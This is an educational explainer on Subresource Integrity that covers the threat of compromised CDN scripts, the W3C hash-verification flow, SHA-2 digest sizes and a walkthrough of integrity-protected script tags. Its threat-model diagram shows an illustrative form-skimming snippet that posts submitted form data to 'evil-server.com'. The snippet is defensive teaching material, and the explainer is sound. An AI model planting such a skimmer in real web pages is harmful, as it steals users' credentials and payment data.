What is Subresource Integrity (SRI)?

Technical Deep Dive & Specifications

The Threat Model: CDN Compromises vs. Origin Trust

When an HTML document embeds a remote script via <script src="https://cdn.example.com/lib.js"></script>, the script runs in the same origin context as the host application.

This means the external script inherits full privileges:

• Reading and writing document.cookie (unless marked HttpOnly).
• Accessing localStorage, sessionStorage, and IndexedDB.
• Intercepting keystrokes and form submissions (credit cards, passwords).
• Making authenticated background fetch() requests with user credentials.

+------------------------------------------------------------------------------------+
|                         ATTACK VECTOR: UNVERIFIED CDN SCRIPT                        |
+------------------------------------------------------------------------------------+
|                                                                                    |
|  1. Webmaster embeds: <script src="https://cdn.thirdparty.com/modal.js">           |
|                                                                                    |
|  2. CDN infrastructure is compromised (BGP hijack, stolen AWS keys, malicious PR)  |
|                                                                                    |
|  3. Hacker appends payload:                                                        |
|     document.forms[0].addEventListener('submit', () => {                           |
|       fetch('https://evil-server.com/steal', { method: 'POST', body: ... });       |
|     });                                                                            |
|                                                                                    |
|  4. Browser downloads modal.js and executes it immediately in the origin context.  |
|                                                                                    |
+------------------------------------------------------------------------------------+

The W3C SRI Specification Lifecycle

The W3C Subresource Integrity specification defines the algorithm used by the user agent when fetching resources linked with an integrity attribute.

               [ Browser encounters <script> or <link> with integrity ]
                                          |
                                          v
                         [ Initiate network fetch with CORS ]
                                          |
                                          v
                            [ Raw bytes arrive at browser ]
                                          |
                                          v
                      [ Browser computes cryptographic digest ]
                               (e.g., SHA-384 of raw bytes)
                                          |
                                          v
                      [ Base64 encode calculated binary digest ]
                                          |
                                          v
                       /------------------------------------\
                      <  Does computed hash == integrity?    >
                       \------------------------------------/
                                 /                \
                           YES  /                  \  NO
                               v                    v
                     [ Execute Script /     [ Throw NetworkError / Block ]
                       Apply Stylesheet ]   [ Log Console Security Error ]
                                            [ Fire element.onerror ]

Cryptographic Hash Function Standards

SRI supports cryptographic hash functions from the SHA-2 family:

• SHA-256 (sha256-): Generates a 256-bit digest (32 bytes), base64 encoded to 44 characters (including padding).
• SHA-384 (sha384-): Generates a 384-bit digest (48 bytes), base64 encoded to 64 characters. (W3C Recommended Standard)
• SHA-512 (sha512-): Generates a 512-bit digest (64 bytes), base64 encoded to 88 characters.

💻 Interactive Code Playground

Starter Code

Line-by-Line Code Breakdown

• Lines 8–14 (<link rel="stylesheet"...): Links an external stylesheet from Cloudflare's CDN. The integrity attribute specifies the exact SHA-512 hash of normalize.min.css. crossorigin="anonymous" instructs the browser to request CORS headers so the response bytes can be read by the hashing engine.
• Lines 35–39 (<script src="..." integrity="sha512-..."): Loads the Day.js date library from a CDN. The browser halts execution until the raw bytes are downloaded, SHA-512 hashed, and compared against sha512-FwNWaxy....
• Lines 42–51 (<script>...): Tests if dayjs exists in the global window scope. If the hash had failed, dayjs would be undefined, and the script would throw an error or handle the fallback gracefully.

Expected Browser Render Output

(In DevTools Network tab, dayjs.min.js returns HTTP 200 and executes. If an attacker had modified a single character on the CDN, the DevTools Console would display: Failed to find a valid digest in the 'integrity' attribute for resource '...' with computed SHA-512 integrity '...' The resource has been blocked.)

Subresource Integrity (SRI) in Action
This page loads external libraries with cryptographic verification.

+-------------------------------------------------------------------------+
| ✅ Legitimate Script Loaded                                             |
| Day.js loaded successfully! Current timestamp: 2026-08-21 02:30:00     |
+-------------------------------------------------------------------------+